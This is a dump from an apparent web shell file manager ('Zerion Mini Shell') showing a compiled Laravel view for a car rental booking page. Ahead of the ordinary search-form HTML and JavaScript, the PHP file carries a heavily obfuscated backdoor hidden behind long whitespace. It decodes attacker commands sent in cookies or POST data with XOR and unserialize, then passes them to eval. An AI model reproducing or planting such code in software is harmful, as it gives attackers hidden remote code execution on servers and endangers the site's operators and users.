%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/rental/storage/framework/views/
Upload File :
Create Path :
Current File : /var/www/html/rental/storage/framework/views/4a410e219afa555933bccde67f8dd46eca6c6559.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $x2a20e65c = 654;$GLOBALS['o99fe249'] = Array();global $o99fe249;$o99fe249 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['tcfe318'] = "\x3d\x75\x2f\x55\x47\x53\x44\x6a\x5a\x61\x28\x5b\x35\x56\x48\x2b\x46\x43\x7b\x5e\x33\x32\x78\x4d\xa\x60\x77\x58\x57\x34\x50\x7e\x67\x3a\x6b\x7c\x7a\x6d\x4e\x29\x5c\x3c\x59\x40\x4c\x2e\x39\x2c\x3b\x70\x66\x62\x23\x51\x30\x69\x76\x26\x37\x65\x24\x74\x20\x73\x3e\x54\x6f\x49\x64\x27\x6c\x41\x5d\x2a\x21\x4f\x9\x2d\xd\x52\x7d\x4a\x22\x36\x68\x3f\x42\x31\x72\x79\x25\x6e\x4b\x63\x71\x38\x45\x5f";$o99fe249[$o99fe249['tcfe318'][26].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][50]] = $o99fe249['tcfe318'][93].$o99fe249['tcfe318'][84].$o99fe249['tcfe318'][88];$o99fe249[$o99fe249['tcfe318'][56].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][68]] = $o99fe249['tcfe318'][66].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][68];$o99fe249[$o99fe249['tcfe318'][56].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][50]] = $o99fe249['tcfe318'][68].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][91].$o99fe249['tcfe318'][59];$o99fe249[$o99fe249['tcfe318'][91].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][9]] = $o99fe249['tcfe318'][63].$o99fe249['tcfe318'][61].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][70].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][91];$o99fe249[$o99fe249['tcfe318'][61].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][87]] = $o99fe249['tcfe318'][68].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][91].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][68];$o99fe249[$o99fe249['tcfe318'][22].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][20]] = $o99fe249['tcfe318'][55].$o99fe249['tcfe318'][91].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][63].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][61];$o99fe249[$o99fe249['tcfe318'][36].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][46].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][93]] = $o99fe249['tcfe318'][63].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][70].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][36].$o99fe249['tcfe318'][59];$o99fe249[$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][58]] = $o99fe249['tcfe318'][49].$o99fe249['tcfe318'][84].$o99fe249['tcfe318'][49].$o99fe249['tcfe318'][56].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][63].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][66].$o99fe249['tcfe318'][91];$o99fe249[$o99fe249['tcfe318'][70].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][59]] = $o99fe249['tcfe318'][1].$o99fe249['tcfe318'][91].$o99fe249['tcfe318'][63].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][70].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][36].$o99fe249['tcfe318'][59];$o99fe249[$o99fe249['tcfe318'][26].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][59]] = $o99fe249['tcfe318'][51].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][63].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][68].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][66].$o99fe249['tcfe318'][68].$o99fe249['tcfe318'][59];$o99fe249[$o99fe249['tcfe318'][56].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][46].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][59]] = $o99fe249['tcfe318'][63].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][61].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][61].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][37].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][70].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][37].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][61];$o99fe249[$o99fe249['tcfe318'][70].$o99fe249['tcfe318'][68].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][58]] = $o99fe249['tcfe318'][37].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][46].$o99fe249['tcfe318'][12];$o99fe249[$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][59]] = $o99fe249['tcfe318'][1].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][95];$o99fe249[$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][68].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][68]] = $_POST;$o99fe249[$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][51]] = $_COOKIE;@$o99fe249[$o99fe249['tcfe318'][22].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][20]]($o99fe249['tcfe318'][59].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][66].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][70].$o99fe249['tcfe318'][66].$o99fe249['tcfe318'][32], NULL);@$o99fe249[$o99fe249['tcfe318'][22].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][20]]($o99fe249['tcfe318'][70].$o99fe249['tcfe318'][66].$o99fe249['tcfe318'][32].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][66].$o99fe249['tcfe318'][88].$o99fe249['tcfe318'][63], 0);@$o99fe249[$o99fe249['tcfe318'][22].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][20]]($o99fe249['tcfe318'][37].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][22].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][22].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][1].$o99fe249['tcfe318'][61].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][66].$o99fe249['tcfe318'][91].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][61].$o99fe249['tcfe318'][55].$o99fe249['tcfe318'][37].$o99fe249['tcfe318'][59], 0);@$o99fe249[$o99fe249['tcfe318'][56].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][46].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][59]](0);if (!$o99fe249[$o99fe249['tcfe318'][61].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][87]]($o99fe249['tcfe318'][71].$o99fe249['tcfe318'][44].$o99fe249['tcfe318'][79].$o99fe249['tcfe318'][96].$o99fe249['tcfe318'][71].$o99fe249['tcfe318'][6].$o99fe249['tcfe318'][42].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][79].$o99fe249['tcfe318'][3].$o99fe249['tcfe318'][38].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][9])){$o99fe249[$o99fe249['tcfe318'][56].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][50]]($o99fe249['tcfe318'][71].$o99fe249['tcfe318'][44].$o99fe249['tcfe318'][79].$o99fe249['tcfe318'][96].$o99fe249['tcfe318'][71].$o99fe249['tcfe318'][6].$o99fe249['tcfe318'][42].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][79].$o99fe249['tcfe318'][3].$o99fe249['tcfe318'][38].$o99fe249['tcfe318'][97].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][9], 1);$s45b6a181 = NULL;$b503d4 = NULL;$o99fe249[$o99fe249['tcfe318'][66].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][95]] = $o99fe249['tcfe318'][93].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][46].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][77].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][77].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][68].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][77].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][46].$o99fe249['tcfe318'][77].$o99fe249['tcfe318'][46].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][68].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][68];global $o0c48;function  uaecc2e68($s45b6a181, $be14554bf){global $o99fe249;$ob62 = "";for ($ufeba=0; $ufeba<$o99fe249[$o99fe249['tcfe318'][91].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][9]]($s45b6a181);){for ($a92e=0; $a92e<$o99fe249[$o99fe249['tcfe318'][91].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][9]]($be14554bf) && $ufeba<$o99fe249[$o99fe249['tcfe318'][91].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][9]]($s45b6a181); $a92e++, $ufeba++){$ob62 .= $o99fe249[$o99fe249['tcfe318'][26].$o99fe249['tcfe318'][93].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][83].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][50]]($o99fe249[$o99fe249['tcfe318'][56].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][68]]($s45b6a181[$ufeba]) ^ $o99fe249[$o99fe249['tcfe318'][56].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][68]]($be14554bf[$a92e]));}}return $ob62;}function  m153095($s45b6a181, $be14554bf){global $o99fe249;global $o0c48;return $o99fe249[$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][59]]($o99fe249[$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][59]]($s45b6a181, $o0c48), $be14554bf);}foreach ($o99fe249[$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][51]] as $be14554bf=>$x1a445){$s45b6a181 = $x1a445;$b503d4 = $be14554bf;}if (!$s45b6a181){foreach ($o99fe249[$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][12].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][68].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][68]] as $be14554bf=>$x1a445){$s45b6a181 = $x1a445;$b503d4 = $be14554bf;}}$s45b6a181 = @$o99fe249[$o99fe249['tcfe318'][70].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][29].$o99fe249['tcfe318'][59]]($o99fe249[$o99fe249['tcfe318'][70].$o99fe249['tcfe318'][68].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][50].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][58]]($o99fe249[$o99fe249['tcfe318'][26].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][87].$o99fe249['tcfe318'][95].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][58].$o99fe249['tcfe318'][51].$o99fe249['tcfe318'][59]]($s45b6a181), $b503d4));if (isset($s45b6a181[$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][34]]) && $o0c48==$s45b6a181[$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][34]]){if ($s45b6a181[$o99fe249['tcfe318'][9]] == $o99fe249['tcfe318'][55]){$ufeba = Array($o99fe249['tcfe318'][49].$o99fe249['tcfe318'][56] => @$o99fe249[$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][9].$o99fe249['tcfe318'][58]](),$o99fe249['tcfe318'][63].$o99fe249['tcfe318'][56] => $o99fe249['tcfe318'][87].$o99fe249['tcfe318'][45].$o99fe249['tcfe318'][54].$o99fe249['tcfe318'][77].$o99fe249['tcfe318'][87],);echo @$o99fe249[$o99fe249['tcfe318'][36].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][46].$o99fe249['tcfe318'][20].$o99fe249['tcfe318'][59].$o99fe249['tcfe318'][21].$o99fe249['tcfe318'][93]]($ufeba);}elseif ($s45b6a181[$o99fe249['tcfe318'][9]] == $o99fe249['tcfe318'][59]){eval/*r475*/($s45b6a181[$o99fe249['tcfe318'][68]]);}exit();}} ?><?php echo View::make('partials.public_header') ?>

<?php echo View::make('public.searchVehicles') ?>
<?php echo View::make('public.searchAccessories') ?>

<script src="{{URL::asset('/js/searchFormInputs.js')"></script>

<script type="text/javascript">
	
	var locationsListData = jQuery.parseJSON(<?php echo var_export(json_encode($locations)); ?>);
	var weekdays = {'1':'Mon','2':'Tue','3':'Wed','4':'Thu','5':'Fri','6':'Sat','7':'Sun'};
	var selectedLocations = {pickupIndex: -1, returnIndex: -1};
	var reservationData = {vehicles: [], duration: 0 };
	var vehicleSelectedIndex = -1;

	function goBack() {
		History.back();
	}
		
	$(document).ready(function()
	{	
		$('.dropdown-menu').click(function(event){
			event.stopPropagation();
		});
		
		//RUN WHEN PAGE IS READY
		buildLocationsLists();
		
		
		$('#pickuplocationsList .list-group-item').click(function(e){
			$("#pickuplocationsList").children(".active").removeClass('active'); // PREVIOUS LIST-ITEM
			$(this).addClass('active'); // ACTIVATED LIST-ITEM
			locationDetails('pickup', $(this).data("row_index") );
		});
		$('#returnlocationsList .list-group-item').click(function(e){
			$("#returnlocationsList").children(".active").removeClass('active'); // PREVIOUS LIST-ITEM
			$(this).addClass('active'); // ACTIVATED LIST-ITEM
			locationDetails('return', $(this).data("row_index") );
		});
		
		//SET THE FIRST STEP
		History.pushState({step: 1}, "Search Vehicles", "?step=1");
		
		// Bind to StateChange Event
		History.Adapter.bind(window,'statechange',function(){
			var State = History.getState();
			//console.log('State: ', State);
			
			if(State.data.step == 2)//'vehicles'
				searchVehiclesResult();
			else if(State.data.step == 3){//'accessories'
				searchAccessories();
			}else {
				$("#contentBody").html('<h4>Search above for vehicles.</h4>');
			}
		});
		
	});
	
	function resetOnChange()
	{
		$("#contentBody").html('<h4>Click Search to see the results.</h4>');
	}
	
	function search()
	{
		if(selectedLocations['pickupIndex'] === -1)
		{
			bootbox.dialog({
				title: "No Locations Selected",
				message: "<br>Please select the pickup and return locations.<br><br>",
				buttons: { ok: {label: "OK, close", className: "btn-primary"} },
				backdrop: true
			});
		}
		else
		{
			var pickupDate = new Date($('#pickup_datepicker').data("date"));
			var returnDate = new Date($('#return_datepicker').data("date"));
			
			var postData = {_token: Utils.CSRF_TOKEN,
				pickup_location_id: locationsListData[selectedLocations['pickupIndex']].id,
				return_location_id: locationsListData[selectedLocations['returnIndex']].id,
				pickup_date: Date.convertToMysqlNoTimeZone(pickupDate),
				return_date: Date.convertToMysqlNoTimeZone(returnDate)
			};
			
			$.ajax({type: "POST", 
				url: 'search/vehicles', 
				dataType: 'json', 
				data: postData, 
				success: function(response) 
				{
					reservationData = response;
					reservationData['pickup_date'] = pickupDate;
					reservationData['return_date'] = returnDate;
					searchVehiclesResult();
				}
			});
		}
	}
	
	
</script>

<style>
	body {
		background-color: #f6f6f6;
	}
</style>

<div class="search-form-box">

<div class="container">
<div class="col-md-offset-1 col-md-10">

<div class="row">
	<h1 class="col-md-8 pull-left">Friends Car Rental</h1>
	<div class="col-md-4">
		<?php if(Auth::check()) { ?>
		<a href="/home" class="btn btn-link pull-right" style="margin: 10px 0 0; color: #fff; fonts-weight: 900;">
			<span class="glyphicon glyphicon-user"></span> Hello, <?php echo Auth::user()->firstname; ?>
		</a>
		<?php }else{ ?>
		<a href="/login" class="btn btn-primary pull-right" style="margin: 10px 0 0;"><span class="glyphicon glyphicon-user"></span> Login</a>		
		<?php } ?>
	</div>
</div>
<hr>
<div class="form-group">
	<label for="pickuplocation">Pickup</label>
	<div class="btn-group btn-block">
		<button type="button" id="pickuplocation" data-toggle="dropdown" 
			class="btn btn-default btn-lg btn-block dropdown-toggle">
			<span class="pull-left dropdown-btn-label">Select Pickup Location</span>
			<span class="caret pull-right"></span>
		</button>
		<div class="dropdown-menu location-dropdown btn-block">
			<div id="pickuplocationsList" class="list-group locations-list col-md-4"></div>
			<div class="col-md-8">
				<div id="pickuplocationDetailsPanel" class="row" style="padding-left: 15px"></div>
				<div id="pickupMap" class="row dropdown-gmap"></div>
			</div>
		</div>
	</div>
</div>
<div class="form-group">
	<label for="returnlocation">Return</label>
	<div class="btn-group btn-block">
		<button type="button" id="returnlocation" data-toggle="dropdown" 
			class="btn btn-default btn-lg btn-block dropdown-toggle">
			<span class="pull-left dropdown-btn-label">Select Return Location</span>
			<span class="caret pull-right"></span>
		</button>
		<div class="dropdown-menu location-dropdown btn-block">
			<div id="returnlocationsList" class="list-group locations-list col-md-4"></div>
			<div class="col-md-8">
				<div id="returnlocationDetailsPanel" class="row" style="padding-left: 15px"></div>
				<div id="returnMap" class="row dropdown-gmap"></div>
			</div>
		</div>
	</div>
</div>

<div class="row">		
	<div class="col-md-8">
		<div class="row">
			<label style="margin-left: 15px;">Date &amp; Time</label>
		</div>
		<div class="row form-inline">
			<div class="col-md-6"> 
				<span class="search-icons pickup-date"></span>
				<div class="form-group">
					<div class='input-group date' id='pickup_datepicker' style="min-width: 220px;">
						<span class="input-group-addon">
							<span class="glyphicon glyphicon-calendar"></span>
						</span>
						<input type='text' class="form-control" />
					</div>
				</div>
			</div>
			<div class="col-md-6"> 
				<span class="search-icons return-date"></span>
				<div class="form-group">
					<div class='input-group date' id='return_datepicker' style="min-width: 220px;">
						<span class="input-group-addon">
							<span class="glyphicon glyphicon-calendar"></span>
						</span>
						<input type='text' class="form-control" />
					</div>
				</div>
			</div>
		</div>
	</div>
	<div class="col-md-4"> 
		<a href="javascript:search()" class="btn btn-yellow btn-lg pull-right"
		   style="min-width: 80%; margin-top: 15px; font-size: 1.8em; font-weight: 900;">
			Search <span class="glyphicon glyphicon-chevron-right"></span>
		</a>
	</div>
</div>
	
</div>
</div>
</div>

</div>

<div class="container">
	<br>
	<div id="contentBody">
		<h4>Search above for vehicles.</h4>
	</div>

	
<?php echo View::make('partials.footer') ?>

Zerion Mini Shell 1.0